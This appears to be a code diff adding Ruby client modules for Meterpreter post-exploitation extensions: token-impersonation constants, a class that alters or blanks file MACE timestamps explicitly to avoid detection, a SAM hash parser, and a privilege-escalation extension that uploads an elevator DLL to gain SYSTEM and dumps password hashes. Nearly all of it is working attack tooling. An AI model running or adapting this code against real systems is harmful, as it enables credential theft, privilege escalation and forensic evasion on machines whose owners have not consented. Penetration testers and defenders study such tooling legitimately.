|
+
|
|
7
|
+
TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
|
|
8
|
+
TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
|
9
|
+
TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 4)
|
|
10
|
+
TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
|
|
11
|
+
TLV_TYPE_INCOGNITO_GENERIC_RESPONSE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6)
|
|
12
|
+
TLV_TYPE_INCOGNITO_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7)
|
|
13
|
+
TLV_TYPE_INCOGNITO_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
|
|
14
|
+
TLV_TYPE_INCOGNITO_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
|
|
15
|
+
TLV_TYPE_INCOGNITO_GROUPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
|
|
16
|
+
|
|
17
|
+
end
|
|
18
|
+
end
|
|
19
|
+
end
|
|
20
|
+
end
|
|
21
|
+
end
|
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Extensions
|
|
7
|
+
module Priv
|
|
8
|
+
|
|
9
|
+
###
|
|
10
|
+
#
|
|
11
|
+
# This class provides an interface to modifying the file system to avoid
|
|
12
|
+
# detection, such as by modifying extended file system attributes.
|
|
13
|
+
#
|
|
14
|
+
###
|
|
15
|
+
class Fs
|
|
16
|
+
|
|
17
|
+
#
|
|
18
|
+
# Initializes the file system subsystem of the privilege escalation
|
|
19
|
+
# extension.
|
|
20
|
+
#
|
|
21
|
+
def initialize(client)
|
|
22
|
+
self.client = client
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
#
|
|
26
|
+
# Returns a hash of the Modified, Accessed, Created, and Entry Modified
|
|
27
|
+
# values for the specified file path.
|
|
28
|
+
#
|
|
29
|
+
def get_file_mace(file_path)
|
|
30
|
+
request = Packet.create_request('priv_fs_get_file_mace')
|
|
31
|
+
|
|
32
|
+
request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
|
|
33
|
+
|
|
34
|
+
response = client.send_request(request)
|
|
35
|
+
|
|
36
|
+
# Return the hash of times associated with the MACE values
|
|
37
|
+
begin
|
|
38
|
+
return {
|
|
39
|
+
'Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
|
|
40
|
+
'Accessed' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
|
|
41
|
+
'Created' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
|
|
42
|
+
'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
|
|
43
|
+
}
|
|
44
|
+
rescue RangeError
|
|
45
|
+
raise RangeError, "Invalid MACE values"
|
|
46
|
+
end
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
#
|
|
50
|
+
# Sets the Modified, Accessed, Created, and Entry Modified attributes of
|
|
51
|
+
# the specified file path. If a nil is supplied for a value, it will not
|
|
52
|
+
# be modified. Otherwise, the times should be instances of the Time class.
|
|
53
|
+
#
|
|
54
|
+
def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
|
|
55
|
+
entry_modified = nil)
|
|
56
|
+
request = Packet.create_request('priv_fs_set_file_mace')
|
|
57
|
+
|
|
58
|
+
request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
|
|
59
|
+
request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
|
|
60
|
+
request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
|
|
61
|
+
request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
|
|
62
|
+
request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
|
|
63
|
+
|
|
64
|
+
client.send_request(request)
|
|
65
|
+
|
|
66
|
+
true
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
#
|
|
70
|
+
# Sets the MACE attributes of the specified target_file_path to the MACE
|
|
71
|
+
# attributes of the source_file_path.
|
|
72
|
+
#
|
|
73
|
+
def set_file_mace_from_file(target_file_path, source_file_path)
|
|
74
|
+
request = Packet.create_request('priv_fs_set_file_mace_from_file')
|
|
75
|
+
|
|
76
|
+
request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
|
|
77
|
+
request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
|
|
78
|
+
|
|
79
|
+
client.send_request(request)
|
|
80
|
+
|
|
81
|
+
true
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
#
|
|
85
|
+
# Sets the MACE values to the minimum threshold that will cause them to not
|
|
86
|
+
# be displayed by most all products for a file.
|
|
87
|
+
#
|
|
88
|
+
def blank_file_mace(file_path)
|
|
89
|
+
request = Packet.create_request('priv_fs_blank_file_mace')
|
|
90
|
+
|
|
91
|
+
request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
|
|
92
|
+
|
|
93
|
+
client.send_request(request)
|
|
94
|
+
|
|
95
|
+
true
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
#
|
|
99
|
+
# Recursively set the MACE values to the minimum threshold for the supplied
|
|
100
|
+
# directory.
|
|
101
|
+
#
|
|
102
|
+
def blank_directory_mace(dir_path)
|
|
103
|
+
request = Packet.create_request('priv_fs_blank_directory_mace')
|
|
104
|
+
|
|
105
|
+
request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
|
|
106
|
+
|
|
107
|
+
client.send_request(request)
|
|
108
|
+
|
|
109
|
+
true
|
|
110
|
+
end
|
|
111
|
+
|
|
112
|
+
protected
|
|
113
|
+
|
|
114
|
+
attr_accessor :client # :nodoc:
|
|
115
|
+
|
|
116
|
+
end
|
|
117
|
+
|
|
118
|
+
end; end; end; end; end
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Extensions
|
|
7
|
+
module Priv
|
|
8
|
+
|
|
9
|
+
###
|
|
10
|
+
#
|
|
11
|
+
# This class wraps a SAM hash entry.
|
|
12
|
+
#
|
|
13
|
+
###
|
|
14
|
+
class SamUser
|
|
15
|
+
|
|
16
|
+
#
|
|
17
|
+
# Initializes the class from a hash string like this:
|
|
18
|
+
#
|
|
19
|
+
# Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
|
|
20
|
+
#
|
|
21
|
+
def initialize(hash_str)
|
|
22
|
+
self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
|
|
23
|
+
|
|
24
|
+
self.hash_string = hash_str
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
#
|
|
28
|
+
# Returns the hash string that was supplied to the constructor.
|
|
29
|
+
#
|
|
30
|
+
def to_s
|
|
31
|
+
hash_string
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
#
|
|
35
|
+
# The raw hash string that was passed to the class constructor.
|
|
36
|
+
#
|
|
37
|
+
attr_reader :hash_string
|
|
38
|
+
#
|
|
39
|
+
# The username from the SAM database entry.
|
|
40
|
+
#
|
|
41
|
+
attr_reader :user_name
|
|
42
|
+
#
|
|
43
|
+
# The user's unique identifier from the SAM database.
|
|
44
|
+
#
|
|
45
|
+
attr_reader :user_id
|
|
46
|
+
#
|
|
47
|
+
# The LM hash.
|
|
48
|
+
#
|
|
49
|
+
attr_reader :lanman
|
|
50
|
+
#
|
|
51
|
+
# The NTLM hash.
|
|
52
|
+
#
|
|
53
|
+
attr_reader :ntlm
|
|
54
|
+
|
|
55
|
+
protected
|
|
56
|
+
|
|
57
|
+
attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
|
|
58
|
+
|
|
59
|
+
end
|
|
60
|
+
|
|
61
|
+
end; end; end; end; end
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
require 'rex/post/meterpreter/extensions/priv/tlv'
|
|
4
|
+
require 'rex/post/meterpreter/extensions/priv/passwd'
|
|
5
|
+
require 'rex/post/meterpreter/extensions/priv/fs'
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Post
|
|
9
|
+
module Meterpreter
|
|
10
|
+
module Extensions
|
|
11
|
+
module Priv
|
|
12
|
+
|
|
13
|
+
###
|
|
14
|
+
#
|
|
15
|
+
# This meterpreter extensions a privilege escalation interface that is capable
|
|
16
|
+
# of doing things like dumping password hashes and performing local
|
|
17
|
+
# exploitation.
|
|
18
|
+
#
|
|
19
|
+
###
|
|
20
|
+
class Priv < Extension
|
|
21
|
+
|
|
22
|
+
#
|
|
23
|
+
# Initializes the privilege escalationextension.
|
|
24
|
+
#
|
|
25
|
+
def initialize(client)
|
|
26
|
+
super(client, 'priv')
|
|
27
|
+
|
|
28
|
+
client.register_extension_aliases(
|
|
29
|
+
[
|
|
30
|
+
{
|
|
31
|
+
'name' => 'priv',
|
|
32
|
+
'ext' => self
|
|
33
|
+
},
|
|
34
|
+
])
|
|
35
|
+
|
|
36
|
+
# Initialize sub-classes
|
|
37
|
+
self.fs = Fs.new(client)
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
#
|
|
41
|
+
# Attempt to elevate the meterpreter to Local SYSTEM
|
|
42
|
+
#
|
|
43
|
+
def getsystem( technique=0 )
|
|
44
|
+
request = Packet.create_request( 'priv_elevate_getsystem' )
|
|
45
|
+
|
|
46
|
+
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
|
47
|
+
|
|
48
|
+
if( client.platform == 'x64/win64' )
|
|
49
|
+
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
|
50
|
+
else
|
|
51
|
+
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
elevator_path = ::File.expand_path( elevator_path )
|
|
55
|
+
|
|
56
|
+
elevator_data = ""
|
|
57
|
+
|
|
58
|
+
::File.open( elevator_path, "rb" ) { |f|
|
|
59
|
+
elevator_data += f.read( f.stat.size )
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
|
|
63
|
+
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
|
|
64
|
+
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
|
|
65
|
+
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
|
|
66
|
+
|
|
67
|
+
# as some service routines can be slow we bump up the timeout to 90 seconds
|
|
68
|
+
response = client.send_request( request, 90 )
|
|
69
|
+
|
|
70
|
+
technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
|
|
71
|
+
|
|
72
|
+
if( response.result == 0 and technique != nil )
|
|
73
|
+
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
|
74
|
+
client.sys.config.getprivs
|
|
75
|
+
return [ true, technique ]
|
|
76
|
+
end
|
|
77
|
+
|
|
78
|
+
return [ false, 0 ]
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
#
|
|
82
|
+
# Returns an array of SAM hashes from the remote machine.
|
|
83
|
+
#
|
|
84
|
+
def sam_hashes
|
|
85
|
+
response = client.send_request(
|
|
86
|
+
Packet.create_request('priv_passwd_get_sam_hashes'))
|
|
87
|
+
|
|
88
|
+
response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
|
|
89
|
+
SamUser.new(hash)
|
|
90
|
+
}
|
|
91
|
+
end
|
|
92
|
+
|
|
93
|
+
#
|
|
94
|
+
# Modifying privileged file system attributes.
|
|
95
|
+
#
|
|
96
|
+
attr_reader :fs
|
|
97
|
+
|
|
98
|
+
protected
|
|
99
|
+
|
|
100
|
+
attr_writer :fs # :nodoc:
|
|
101
|
+
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
end; end; end; end; end
|